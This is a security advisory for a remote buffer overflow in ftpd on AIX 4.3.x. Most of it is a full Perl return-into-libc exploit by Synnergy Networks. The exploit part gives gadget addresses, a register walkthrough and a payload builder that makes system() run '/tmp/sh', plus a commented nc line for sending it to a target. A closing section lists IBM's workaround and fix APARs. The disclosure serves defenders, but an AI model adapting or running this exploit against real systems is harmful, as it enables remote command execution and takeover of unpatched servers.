COMMAND

    ftpd

SYSTEMS AFFECTED

    AIX 4.3.x (RS6000)

PROBLEM

    Gerrie found following.   It's remote exploit  for ftpd.   Exploit
    follows:

    #!/usr/bin/perl
    # *** Synnergy Networks

    # * Description:
    #
    # Remote bufferoverflow exploit for ftpd from AIX 4.3.2 running on an
    # RS6000. (power)
    # This is an return into libc exploit specificly crafted for
    # one box and it is very unlikely to work on another box

    # * Author:
    #
    # dvorak (dvorak@synnergy.net)
    # Synnergy Networks (c) 1999,  http://www.synnergy.net

    # * Greets:
    #
    # Synnergy Networks, Hit2000 crew, Emphyrio, shevek

    # * Comments:
    #
    # A full working exploit will be released later on.
    # The addresses point to positions in the program or libraries,
    # only the relevant instructions are shown also note that b r0
    # is in fact something like mfsbr r0, bsbr or what that is in
    # RS6000 assembly.
    #
    # The final call is to system which needs the following arguments:
    # r3 = address of command to execute
    # r2 = TOC (what is TOC anyway), I don't know if it does matter but
    #      we set it anyway (we can so why not do it)
    # r1 = SP but this is ok already,
    # the rest is free so it seems.
    #
    # Our route:
    # 0x10010150: sets r2 to a place in the buffer and jumps to 0x10015228
    # 0x10015228: loads r12 with a value from our buffera
    #             loads r0 with the next address to jump to (0x1001038c)
    #             and sets r2 to another place in our buffer
    # 0x1001038c: sets r3 to a place in the buffer (finally!)
    #             sets r0 to next address to jump to (0xd00406d4, system(...))
    #
    # The flow with registers is thus:
    # r2 = 0x14(r1)
    # r12 = 0x110(r2)
    # r0 = 0x0(r12)
    # r2 = 0x4(r12)
    # r3 = 0x40(r1)
    # r12 = 0x3c(r2)
    # 0x14(r1) = r12 this is  the plave where TOC is stored but it doesn't seem
    #            to matter
    # r0 = 0x0(12)
    # r2 = 0x04(r12)
    # and of we go...
    #
    # We set:
    # $buf =  the buffer on the stack $buf[0] is the first byte in the buffer
    # but we will count offsets from 4 (the first 4 bytes is just "CEL " is
    # doesn't matter, only the space does (it makes sure the rest of the buffer)
    # stays the way it is and isn't converted into lower case
    #
    # Offsets:
    # 0x000: 0x1001038c
    # 0x004: buf[0]
    # 0x008: this is the place where the address of the systemcall is taken from
    #        0xd00406d4 in our case# 0x00c: thi is the address where r2 is
    loaded
    #        from just before the call to
    #        system(..) we set it to the TOC in our program we don't know if it
    #        matters and if the TOC is constant between hosts
    # 0x03c: buf[08]
    # 0x110: buf[0]
    # 0x204: return address (0x10010150)
    # 0x210: buf[0]
    # 0x23c: buf[0x240]
    # 0x240: "/tmp/sh" or whatever command you want to execute
    # r1 points to buf[0x1fc]
    #
    # I assume the positions in the libraries/program are fixed and that TOC
    # either doesn't matter or is fixed to please enlighten me on these topics.
    #
    # 0x10010150:
    #     l   r2, 0x14(r1)
    #     b   0x10015228
    # 0x10015228:
    #     l   r12, 0x110(r2)
    #     st  r12, 0x14(r1)
    #     l   r0, 0x0(r12)
    #     l   r2, 0x4(r12)
    #     b   r0
    # 0x1001038c:
    #     l   r3, 0x40(r1)
    #     b   0x100136f8
    # 0x100136f8:
    #     l   r12, 0x3c(r2)
    #     st  r12, 0x14(r1)
    #     l   r0,  0x0(r12)
    #     l   r2,  0x04(r12)

    # *** Synnergy Networks

    $bufstart = 0x2ff22724;         # this is our first guess
    $nop = "\xde\xad\xca\xfe";
    $buf = "CEL ";
    $buf .= "\x10\x01\x03\x8c";     # 0 address of second piece of
                                    # 'borrowed' code
    $buf .= pack ("N", $bufstart);  # 4
    $buf .= "\xd0\x04\x06\xd4";     # 8 system call..
    $buf .= "\xf0\x14\x63\x5c";     # c TOC
    $offset = 0x10;
    while ($offset < 0x3c) {
        $offset += 4;
        $buf .= $nop;
    }
    $buf .= pack ("N", $bufstart + 0x008);
    $offset += 4;
    while ($offset < 0x110) {
        $offset += 4;
        $buf .= $nop;
    }
    $buf .= pack ("N", $bufstart);
    $offset += 4;
    while ($offset < 0x204) {
        $offset += 4;
        $buf .= $nop;
    }
    $buf .= "\x10\x01\x01\x50";
    $offset += 4;
    while ($offset < 0x210) {
        $offset += 4;
        $buf .= $nop;
    }
    $buf .= pack ("N", $bufstart);
    $offset += 4;
    while ($offset < 0x23c) {
        $offset += 4;
        $buf .= $nop;
    }
    $buf .= pack ("N", $bufstart + 0x240);
    $offset += 4;
    while ($offset < 0x240) {
        $offset += 4;
        $buf .= $nop;
    }
    # this is the command that will be run through system
    $buf .= "/tmp/sh";
    $buf .= "\n";

    # offcourse you should change this .
    # open F, "| nc -v -v -n 192.168.2.12 21";
    open F, "| od -tx1";
    printf F $buf;
    close F;

SOLUTION

    IBM does have workarounf for this at:

        ftp://aix.software.ibm.com/aix/efixes/security/ftpd.tar.Z

    IBM is  working on  the following  fixes which  will be  available
    soon:

        AIX 4.3.x:  IY04477

    IBM AIX  APARs may  be ordered  using Electronic  Fix Distribution
    (via the FixDist  program), or from  the IBM Support  Center.  For
    more  information  on  FixDist,  and  to  obtain  fixes  via   the
    Internet, please reference

        http://techsupport.services.ibm.com/support/rs6000.support/downloads

    or send electronic mail to "aixserv@austin.ibm.com" with the  word
    "FixDist" in the "Subject:" line.  To facilitate ease of  ordering
    all security related  APARs for each  AIX release, security  fixes
    are  periodically  bundled  into  a  cumulative  APAR.   For  more
    information on  these cumulative  APARs including  last update and
    list   of   individual    fixes,   send    electronic   mail    to
    "aixserv@austin.ibm.com" with the word "subscribe  Security_APARs"
    in the "Subject:" line.